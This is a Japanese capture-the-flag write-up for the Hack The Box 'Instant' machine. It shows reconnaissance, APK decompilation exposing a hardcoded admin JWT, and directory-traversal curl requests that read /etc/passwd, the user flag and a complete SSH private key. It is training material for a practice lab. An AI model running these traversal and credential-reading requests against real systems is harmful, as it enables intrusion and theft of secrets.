Hack The BoxのWriteup(Instant)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Mediumのマシンである「Instant」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) Android端末向けのアプリファイル(instant.apk)のダウンロード
  (5) Apktoolを用いたAndroid端末向けのアプリファイル(instant.apk)の解析
  (6) 名前解決のためのhostsファイル更新(2回目)
  (7) APIの実行によるユーザー登録及びログイン
  (8) Admin権限の認証情報取得
  (9) ディレクトリトラバーサル攻撃による一般ユーザー用フラグファイル取得
  (10) ディレクトリトラバーサル攻撃によるSSHの公開鍵と秘密鍵取得
  (11) サーバの設定及びプロセス調査
  (12) パスワードハッシュ値の解析
  (13) Solar-PuTTYのファイル調査
  (14) 特権昇格(suコマンドの実行)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)が応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.37
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-30 23:31 JST
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.35s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   214.09 ms 10.10.16.1
2   431.63 ms instant.htb (10.10.11.37)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.27 seconds


名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.37/」にアクセスすると、「http://instant.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.37 instant.htb' | sudo tee -a /etc/hosts


(3) ブラウザを用いて「http://instant.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://instant.htb/js/scripts.js」や「http://instant.htb/index.html」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://instant.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301      GET        9l       28w      314c http://instant.htb/downloads => http://instant.htb/downloads/
200      GET       49l      241w    13102c http://instant.htb/img/logo.png
200      GET       73l      165w     2022c http://instant.htb/js/scripts.js
200      GET      337l     1155w    16379c http://instant.htb/index.html
301      GET        9l       28w      315c http://instant.htb/javascript => http://instant.htb/javascript/
200      GET      195l     1097w   116351c http://instant.htb/img/blog-2.jpg
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認すると、URLへのアクセス結果で特に気になる内容はない。

$ gobuster dir -u http://instant.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o instant_80.txt
ーーー(省略)ーーー
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/css                  (Status: 301) [Size: 308] [--> http://instant.htb/css/]
/downloads            (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
/img                  (Status: 301) [Size: 308] [--> http://instant.htb/img/]
/javascript           (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
/js                   (Status: 301) [Size: 307] [--> http://instant.htb/js/]
/server-status        (Status: 403) [Size: 276]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認すると、「http://instant.htb/downloads/」や「http://instant.htb/js/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ sudo dirsearch -u http://instant.htb/
ーーー(省略)ーーー
[23:58:52] 301 -  314B  - /downloads  ->  http://instant.htb/downloads/
[23:58:52] 200 -   16B  - /downloads/
[23:59:02] 301 -  308B  - /img  ->  http://instant.htb/img/
[23:59:04] 301 -  315B  - /javascript  ->  http://instant.htb/javascript/
[23:59:05] 200 -   16B  - /js/
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認すると、URLへのアクセス結果で特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://instant.htb/FUZZ" -ic
ーーー(省略)ーーー
img                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 416ms]
                        [Status: 200, Size: 16379, Words: 5429, Lines: 337, Duration: 415ms]
downloads               [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 220ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 201ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 276ms]
javascript              [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 214ms]
                        [Status: 200, Size: 16379, Words: 5429, Lines: 337, Duration: 218ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 226ms]
ーーー(省略)ーーー




Android端末向けのアプリファイル(instant.apk)のダウンロード


(1) ブラウザを用いて「http://instant.htb/」にアクセスする。右上の「Download Now!」をクリックすると、「instant.apk」がダウンロードされる。


(2) fileコマンドでダウンロードしたファイル(instant.apk)のファイルタイプを確認すると、Android package (APK)であることが分かる。

$ file instant.apk
instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block


Apktoolを用いたAndroid端末向けのアプリファイル(instant.apk)の解析


(1) instant.apkを解析するためにApktoolをインストールする。

$ sudo apt-get update

$ sudo apt install apktool -y


(2) instant.apkファイルをデコードする。

$ apktool d instant.apk -o Instant
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory


(3) instant.apkファイルの中にあるファイルの一覧を確認する。APKファイルの構成は「https://gazee.net/develop/apk-structure/#google_vignette」をご確認ください。

$ cd Instant

$ ls -l
合計 40
-rw-rw-r--   1 kali kali 3586  5月  1 22:39 AndroidManifest.xml
drwxrwxr-x   3 kali kali 4096  5月  1 22:39 META-INF
-rw-rw-r--   1 kali kali 2638  5月  1 22:39 apktool.yml
drwxrwxr-x   3 kali kali 4096  5月  1 22:39 assets
drwxrwxr-x   8 kali kali 4096  5月  1 22:39 kotlin
drwxrwxr-x   6 kali kali 4096  5月  1 22:39 lib
drwxrwxr-x   3 kali kali 4096  5月  1 22:39 original
drwxrwxr-x 140 kali kali 4096  5月  1 22:39 res
drwxrwxr-x  11 kali kali 4096  5月  1 22:39 smali
drwxrwxr-x   3 kali kali 4096  5月  1 22:39 unknown


(4) instant.apkファイルの中にあるファイルで「instant.htb」という文字列を含むファイルを確認すると、「./res/xml/network_security_config.xml」という設定ファイルがあることが分かる。

$ find ./ -type f | xargs grep -n 'instant.htb'
./smali/com/instantlabs/instant/TransactionActivity$2.smali:170:    const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
./smali/com/instantlabs/instant/ProfileActivity.smali:134:    const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/TransactionActivity.smali:103:    const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
./smali/com/instantlabs/instant/AdminActivities.smali:29:    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/RegisterActivity.smali:78:    const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
./smali/com/instantlabs/instant/LoginActivity.smali:92:    const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
./res/layout/activity_forgot_password.xml:6:        <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
./res/xml/network_security_config.xml:4:        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
./res/xml/network_security_config.xml:5:        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>


(5) 「./res/xml/network_security_config.xml」の内容を確認すると、「mywalletv1.instant.htb」と「swagger-ui.instant.htb」というサブドメインがあることが分かる。

$ cat res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>


名前解決のためのhostsファイル更新(2回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.37 mywalletv1.instant.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.37 swagger-ui.instant.htb' | sudo tee -a /etc/hosts


(2) ブラウザを用いて「http://mywalletv1.instant.htb/」にアクセスすると、HTTPステータスコードの404 Not Foundのページが表示される。。


(3) ブラウザを用いて「http://swagger-ui.instant.htb/」にアクセスすると、Webページが表示される。


(4) 現在の権限で実行できるAPIを確認すると、以下の通りです。

API名実行可否
/api/v1/admin/add/user実行不可(HTTPステータスコード 401)
/api​/v1​/admin​/list​/users実行不可(HTTPステータスコード 401)
/api​/v1​/login実行可能
/api/v1/register実行可能
/api/v1/view/profile実行不可(HTTPステータスコード 401)
/api/v1/admin/read/log実行不可(HTTPステータスコード 401)
/api/v1/admin/view/logs実行不可(HTTPステータスコード 401)
/api​/v1​/confirm​/pin実行不可(HTTPステータスコード 401)
/api/v1/initiate/transaction実行不可(HTTPステータスコード 401)
/api​/v1​/view​/transactions実行不可(HTTPステータスコード 401)


APIの実行によるユーザー登録及びログイン


(1) ブラウザを用いて「http://swagger-ui.instant.htb/」にアクセスすると、Webページが表示される。


(2) 「​/api​/v1​/admin​/list​/users」を実行してデータベース内のすべてのユーザー一覧を確認するために、「​/api​/v1​/admin​/list​/users」の中にある「Execute」をクリックする。


(3) HTTPのステータスコード401がレスポンスされたため、実行権限がないことが分かる。


(4) 「​/api​/v1​/register」を実行してユーザー登録するために、「​/api​/v1​/register」に以下のパラメータを入力して「Execute」をクリックする。

【パラメータの値】
{
  "email": "test12345@test.com",
  "password": "pass",
  "pin": "pass",
  "username": "test12345"
}




(5) 「​Pin Needs To Be 5 Digits!」というメッセージがレスポンスされたため、Pinが5桁である必要があることが分かる。


(6) 参考までに、「​/api​/v1​/register」の下部にレスポンスデータの一覧が表示されており、「​Pin Needs To Be 5 Digits!」はHTTPステータスコード203でレスポンスされることが分かる。


(7) 「​/api​/v1​/register」を実行してユーザー登録するために、再度「​/api​/v1​/register」に以下のパラメータを入力して「Execute」をクリックする​。

【パラメータの値】
{
  "email": "test12345@test.com",
  "password": "password",
  "pin": "12345",
  "username": "test12345"
}




(8) 「User Registered! Login Now!」というメッセージが表示され、ユーザーが登録される。


(9) 「​/api​/v1​/login」を実行してログインするために、「​/api​/v1​/login」に以下のパラメータを入力して「Execute」をクリックする。

【パラメータの値】
{
  "password": "password",
  "username": "test12345"
}




(10) ログインに成功しHTTPのステータスコード201、及びアクセストークンがレスポンスされる。


(11) 右上部の「​Authorize」をクリックする。


(12) Value値に上記(10)で取得したアクセストークンの値を入力して、「Authorize」をクリックする。


(13) ログインに成功したため、「Close」をクリックする。


(14) ログインした一般ユーザー権限で実行できるAPIを確認すると、ログイン前の結果と変わらなかった。そのため、他の認証情報が必要であると推測できる。

API名実行可否
/api/v1/admin/add/user実行不可(HTTPステータスコード 401)
/api​/v1​/admin​/list​/users実行不可(HTTPステータスコード 401)
/api​/v1​/login実行可能
/api/v1/register実行可能
/api/v1/view/profile実行不可(HTTPステータスコード 401)
/api/v1/admin/read/log実行不可(HTTPステータスコード 401)
/api/v1/admin/view/logs実行不可(HTTPステータスコード 401)
/api​/v1​/confirm​/pin実行不可(HTTPステータスコード 401)
/api/v1/initiate/transaction実行不可(HTTPステータスコード 401)
/api​/v1​/view​/transactions実行不可(HTTPステータスコード 401)


Admin権限の認証情報取得


(1) instant.apkを解析するためにJADXをインストールする。

$ sudo apt -y install jadx


(2) instant.apkファイルをデコードする。

$ jadx -d /home/kali/Downloads/jadx_instant /home/kali/Downloads/instant.apk
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 2


(3) instant.apkファイルの中にあるAdminActivities.javaの内容を確認すると、Admin権限の認証を確認できる。

$ cat /home/kali/Downloads/jadx_instant/sources/com/instantlabs/instant/AdminActivities.java
package com.instantlabs.instant;

import com.google.gson.JsonParser;
import com.google.gson.JsonSyntaxException;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes.dex */
public class AdminActivities {
    private String TestAdminAuthorization() {
        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
            static final /* synthetic */ boolean $assertionsDisabled = false;

            @Override // okhttp3.Callback
            public void onFailure(Call call, IOException iOException) {
                System.out.println("Error Here : " + iOException.getMessage());
            }

            @Override // okhttp3.Callback
            public void onResponse(Call call, Response response) throws IOException {
                if (response.isSuccessful()) {
                    try {
                        System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
                    } catch (JsonSyntaxException e) {
                        System.out.println("Error Here : " + e.getMessage());
                    }
                }
            }
        });
        return "Done";
    }
}


(4) 取得したAdmin権限の認証情報をBASE64でデコードすると、JWT(JSON Web Token)であることが分かる。

$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | base64 -d
{"alg":"HS256","typ":"JWT"}base64: 無効な入力


(5) 取得したAdmin権限の認証情報の「.」区切りでそれぞれの値をBASE64でデコードすると、それぞれの値を確認できる。

$ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
{"alg":"HS256","typ":"JWT"}


$ echo "eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ" | base64 -d
{"id":1,"role":"Admin","walId":"f0eca6e5-783a-471d-9d8f-0162cbc900db","exp":33259303656}                                                        


$ echo "v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | base64 -d
進家
J
 ┫Q夛帆誓仆base64: 無効な入力


(6) 「https://dinochiesa.github.io/jwt/」にアクセスし、取得したAdmin権限の認証情報を入力することでデコードできる。


(7) Value値に上記(3)で取得したアクセストークンの値を入力して、「Authorize」をクリックする。


(8) ログインに成功したため、「Close」をクリックする。


(9) 全てのAPIの実行可否を確認すると、HTTPのステータスコード401がレスポンスされなかったため実行権限があることが分かる。

API名実行可否
/api/v1/admin/add/user実行可能
/api​/v1​/admin​/list​/users実行可能
/api​/v1​/login実行可能
/api/v1/register実行可能
/api/v1/view/profile実行可能
/api/v1/admin/read/log実行可能
/api/v1/admin/view/logs実行可能
/api​/v1​/confirm​/pin実行可能(しかし、HTTPステータスコード 403)
/api/v1/initiate/transaction実行可能(しかし、HTTPステータスコード 500)
/api​/v1​/view​/transactions実行可能(しかし、HTTPステータスコード 404)


ディレクトリトラバーサル攻撃による一般ユーザー用フラグファイル取得


(1) 「/api/v1/admin/read/log」のAPIで任意のファイルを読み込んでいることが分かるため、ディレクトリトラバーサル攻撃が成功するか確認する。「/api/v1/admin/read/log」の箇所のCurl欄のcurlコマンドの内容を確認する。


(2) 確認したcurlコマンドを実行し、正常に実行できることを確認する。

$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}


(3) 「../../../etc/passwd」を指定して、/etc/passwdファイルの内容を出力されたため、ディレクトリトラバーサル攻撃ができることが分かる。
また、shirohigeユーザー用のディレクトリとして/home/shirohigeがあることが分かる。

$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
  "/home/shirohige/logs/../../../etc/passwd": [
    "root:x:0:0:root:/root:/bin/bash\n",
    "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n",
    "bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
    "sys:x:3:3:sys:/dev:/usr/sbin/nologin\n",
    "sync:x:4:65534:sync:/bin:/bin/sync\n",
    "games:x:5:60:games:/usr/games:/usr/sbin/nologin\n",
    "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n",
    "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n",
    "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n",
    "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n",
    "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n",
    "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n",
    "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n",
    "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n",
    "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n",
    "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n",
    "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n",
    "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n",
    "systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n",
    "systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n",
    "dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n",
    "messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n",
    "systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n",
    "pollinate:x:102:1::/var/cache/pollinate:/bin/false\n",
    "polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n",
    "usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n",
    "sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n",
    "shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
    "_laurel:x:999:990::/var/log/laurel:/bin/false\n"
  ],
  "Status": 201
}


(4) 一般ユーザー用のフラグファイル(/home/shirohige/user.txt)の内容を確認する。

$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/user.txt" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
  "/home/shirohige/logs/../../../home/shirohige/user.txt": [
    "70403e995a4192f8c72371202566d428\n"
  ],
  "Status": 201
}


ディレクトリトラバーサル攻撃によるSSHの公開鍵と秘密鍵取得


(1) shirohigeユーザーでSSHログインするために、SSHの公開鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得できることを確認する。

$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/authorized_keys" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
  "/home/shirohige/logs/../../../home/shirohige/.ssh/authorized_keys": [
    "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClue2VqWadlZxNVnSyQg3b4+mqvjGNiAitnJnN31i0ka6//DcZbwGfBDW/OHcEPLGEvdYsDeM+eRsHyPiW5Gs58c2MryUZ584xi1j9PmETRV4e/ve4Q4D8Gh5od0AaFC4ACwOPwC/LXJAxkNXfU8dwYQO7/R1T2MaaGNd9LvSB95ukgjeOz06YpdAAVzZPmT/nEv7UwedkGJCoq+NumG56qnL2ANp2yIC8q04DwjqGkMMtlqVqT1GCL4GwW8GyfPbji4IFjyO5ZmvOZ7xMbk2nooiDW11nVypEvuU1UyCjsB3BAJWtSEHEq9MQmYjNH/ij7/D2eMnf5YW5oxsHM6w0ICddvUyTRqTjaA0upytia6lR6k3VC5k8vvEBsM1grY4IzHCzesU8eCOFupY9KMGULuRoFkWptQ4DntJk+olj34XSO21arEvGvmu0vXkk1ob6sN+RGaYzNsavIJGLA9z/8AU6ry/MT1eOJdnY/+Mn8RdqG5ov0DZl/1gwtptSAYM= shirohige@instant\n"
  ],
  "Status": 201
}


(2) SSHの秘密鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得する。

$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/id_rsa" -H  "accept: application/json" -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq
ーーー(省略)ーーー
{
  "/home/shirohige/logs/../../../home/shirohige/.ssh/id_rsa": [
    "-----BEGIN OPENSSH PRIVATE KEY-----\n",
    "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\n",
    "-----END OPENSSH PRIVATE KEY-----\n"
  ],
  "Status": 201
}


